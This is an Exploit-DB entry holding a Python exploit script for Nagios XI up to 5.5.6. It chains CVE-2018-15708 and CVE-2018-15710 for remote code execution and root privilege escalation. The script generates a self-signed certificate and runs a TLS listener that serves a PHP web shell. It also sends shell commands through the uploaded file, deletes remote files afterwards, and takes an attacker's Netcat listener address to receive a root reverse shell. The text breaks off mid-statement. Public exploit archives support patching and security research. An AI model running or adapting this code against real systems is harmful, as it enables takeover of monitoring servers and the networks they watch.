Exploit-DB #46221
Description: Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation
Type: webapps
Platform: linux
Date: 2019-01-23
Author: Chris Lyne

Exploit:
# Exploit Title: Nagios XI 5.5.6 Remote Code Execution and Privilege Escalation
# Date: 2019-01-22
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: https://www.nagios.com/
# Product: Nagios XI
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/xi-5.5.6.tar.gz
# Version: From 2012r1.0 to 5.5.6
# Tested on: 
#	- CentOS Linux 7.5.1804 (Core) / Kernel 3.10.0 / This was a vendor-provided .OVA file
#	- Nagios XI 2012r1.0, 5r1.0, and 5.5.6
# CVE: CVE-2018-15708, CVE-2018-15710
#
# See Also:
# https://www.tenable.com/security/research/tra-2018-37
# https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172
#
# This code exploits both CVE-2018-15708 and CVE-2018-15710 to pop a root reverse shell.
# You'll need your own Netcat listener

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
import SocketServer, threading, ssl
import requests, urllib
import sys, os, argparse
from OpenSSL import crypto
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 5 # sec

def err_and_exit(msg):
    print '\n\nERROR: ' + msg + '\n\n'
    sys.exit(1)

# handle sending a get request
def http_get_quiet(url):
    try:
        r = requests.get(url, timeout=TIMEOUT, verify=False)
    except requests.exceptions.ReadTimeout:
        err_and_exit("Request to '" + url + "' timed out.")
    else:
        return r

# 200?
def url_ok(url):
    r = http_get_quiet(url)
    return (r.status_code == 200)

# run a shell command using the PHP file we uploaded
def send_shell_cmd(path, cmd):
    querystr = { 'cmd' : cmd }
    # e.g. http://blah/exec.php?cmd=whoami
    url = path + '?' + urllib.urlencode(querystr)
    return http_get_quiet(url)

# delete some files locally and on the Nagios XI instance
def clean_up(remote, paths, exec_path=None):
    if remote:
        for path in paths:
            send_shell_cmd(exec_path, 'rm ' + path)
            print 'Removing remote file ' + path
    else:
        for path in paths:
            os.remove(path)
            print 'Removing local file ' + path

# Thanks http://django-notes.blogspot.com/2012/02/generating-self-signed-ssl-certificate.html
def generate_self_signed_cert(cert_dir, cert_file, key_file):
    """Generate a SSL certificate.
 
    If the cert_path and the key_path are present they will be overwritten.
    """
    if not os.path.exists(cert_dir):
        os.makedirs(cert_dir)
    cert_path = os.path.join(cert_dir, cert_file)
    key_path = os.path.join(cert_dir, key_file)
 
    if os.path.exists(cert_path):
        os.unlink(cert_path)
    if os.path.exists(key_path):
        os.unlink(key_path)
 
    # create a key pair
    key = crypto.PKey()
    key.generate_key(crypto.TYPE_RSA, 1024)
 
    # create a self-signed cert
    cert = crypto.X509()
    cert.get_subject().C = 'US'
    cert.get_subject().ST = 'Lorem'
    cert.get_subject().L = 'Ipsum'
    cert.get_subject().O = 'Lorem'
    cert.get_subject().OU = 'Ipsum'
    cert.get_subject().CN = 'Unknown'
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60) 
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(key)
    cert.sign(key, 'sha1')
 
    with open(cert_path, 'wt') as fd: 
        fd.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
 
    with open(key_path, 'wt') as fd: 
        fd.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))
 
    return cert_path, key_path

# HTTP request handler
class MyHTTPD(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        msg = '<?php system($_GET[\'cmd\']); ?>' # this will be written to the PHP file
        self.end_headers()
        self.wfile.write(str.encode(msg))

# Make the http listener operate on its own thread
class ThreadedWebHandler(object):
    def __init__(self, host, port, keyfile, certfile):
        self.server = SocketServer.TCPServer((host, port), MyHTTPD)
	self.server.socket = ssl.wrap_socket(
	    self.server.socket,
	    keyfile=keyfile,
	    certfile=certfile,
	    server_side=True
	)
        self.server_thread = threading.Thread(target=self.server.serve_forever)
        self.server_thread.daemon = True

    def start(self):
        self.server_thread.start()

    def stop(self):
        self.server.shutdown()
        self.server.server_close()

##### MAIN #####

desc = 'Nagios XI 2012r1.0 < 5.5.6 MagpieRSS Remote Code Execution and Privilege Escalation'
arg_parser = argparse.ArgumentParser(description=desc)
arg_parser.add_argument('-t', required=True, help='Nagios XI IP Address (Required)')
arg_parser.add_argument('-ip', required=True, help='HTTP listener IP')
arg_parser.add_argument('-port', type=int, default=9999, help='HTTP listener port (Default: 9999)')
arg_parser.add_argument('-ncip', required=True, help='Netcat listener IP')
arg_parser.add_argument('-ncport', type=int, default=4444, help='Netcat listener port (Default: 4444)')

args = arg_parser.parse_args()

# Nagios XI target settings
target = { 'ip' : args.t }

# listener settings
listener = {
    'ip'    : args.ip,
    'port'  : args.port,
    'ncip'  : args.ncip,
    'ncport': args.ncport
}

# generate self-signed cert
cert_file = 'cert.crt'
key_file = 'key.key'
generate_self_signed_cert('./', cert_file, key_file)

# start threaded listener
# thanks http://brahmlower.io/threaded-http-server.html
server = ThreadedWebHandler(listener['ip'], listener['port'], key_file, cert_file)
server.start()

print "\nListening on " + listener['ip'] + ":" + str(listener['port'])

# path to Nagios XI app
base_url = 'https://' + target['ip']

# ensure magpie_debug.php exists
magpie_url = base_url + '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
if